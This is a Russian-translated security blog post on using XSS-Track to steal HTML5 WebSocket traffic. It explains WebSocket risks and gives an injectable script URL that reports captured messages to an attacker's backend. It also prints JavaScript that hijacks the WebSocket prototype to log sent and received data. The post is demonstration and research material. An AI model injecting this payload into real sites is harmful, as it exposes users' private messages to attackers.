Статьи

XSS-Track как анализатор трафика HTML5 WebSockets

HTML5 WebSockets действительно отличная возможность для современной веб-разработки. Они позволяют вам установить двунаправленное TCP-соединение между браузером и сервером. Конечно, протокол
постоянно обновляется , имеет свои
проблемы , что, вероятно, будет означать, что он не будет готов к
Firefox 4 . Но, тем не менее, я думаю, что это отличный способ сделать текущие веб-приложения более отзывчивыми.

При этом разработчики должны знать, что использование WebSockets всегда будет иметь некоторые проблемы с безопасностью. Просто назвать несколько:

  • клиент может быть подделан (это не обязательно должен быть браузер)
  • серверу ws: //  нельзя доверять (атаки MiTM)
  • вам нужно обработать аутентификацию
  • сообщение по протоколу ws: //  является открытым текстом. 

Что может быть не так?

Возможностей много, но на сегодня давайте сосредоточимся на следующем:

важно знать, что WebSockets (без каких-либо дополнительных мер предосторожности) не является каналом для отправки ограниченных сообщений, потому что, например, один недостаток XSS на стороне клиента может раскрыть все эти частные биты. атакующему.


Чтобы продемонстрировать,
XSS-Track теперь поддерживает кражу отправленных и полученных сообщений WebSockets . Все, что вам нужно сделать, это вставить
http://kotowicz.net/xss-track/track.js?websocket=1 скрипт в уязвимый сайт, и все сообщения будут сообщены вашему бэкэнду. 

Вы также можете сделать это 
http://kotowicz.net/xss-track/track.js?websocket=1&debug=1,  чтобы сообщения регистрировались на консоли, а не отправлялись на серверную часть.

демонстрация


Чтобы иметь возможность тестировать внедрение WebSockets, вам нужна поддержка WebSockets ? Используйте Google Chrome в качестве клиента WebSockets и перейдите по
адресу http://vuln.nodester.com — это простое уязвимое приложение чата, использующее WebSockets со всеми инструкциями. Вы также можете 
настроить сервер для себя .

Как это было возможно?

Здесь нет никакой науки о ракетах, просто модифицируйте встроенный объект WebSockets:

if (captureWebsocket && window.WebSocket) {
 
  // add logging onmessage listener
  function captureRecv(ws) {
    if (typeof ws.captured == 'undefined') {
      ws.addEventListener('message', function(e) {
        var event = {
            event: 'websocket_recv',
            from: location,
            data: e.data,
            url: e.target.URL
        }
        log(event);
      });
      ws.captured = true;
    }
  }
 
  // capture sending
  var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
    captureRecv(this); // in case socket contruction was before constructor switching
    var event = {
        event: 'websocket_send',
        from: location,
        data: arguments[0],
        url: this.URL
    };
 
    log(event);
    return window.WebSocket.prototype.send.apply(this, arguments);
  }
 
  // capture constructor
  this.contentWindow.WebSocket = function(a,b) {
    var base;
    base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
    captureRecv(base);
    base.send = captureSend;
    this.__proto__ = WebSocket.constructor;
    return base;
  }
}

 Как всегда, вы можете увидеть исходный код самостоятельно.

Обновление:  я только что  обнаружил, что  эта техника манипулирования объектом-прототипом для изменения поведения фактически получила название «Угон прототипа» и использовалась  Стефано ди Паола  в 2007 году для того, чтобы  перехватить простую старую связь AJAX . Конечно, Javascript, использующий наследование прототипов, должен иметь такую ​​слабость, и я считаю, что это замечательная особенность самого языка. Javascript FTW!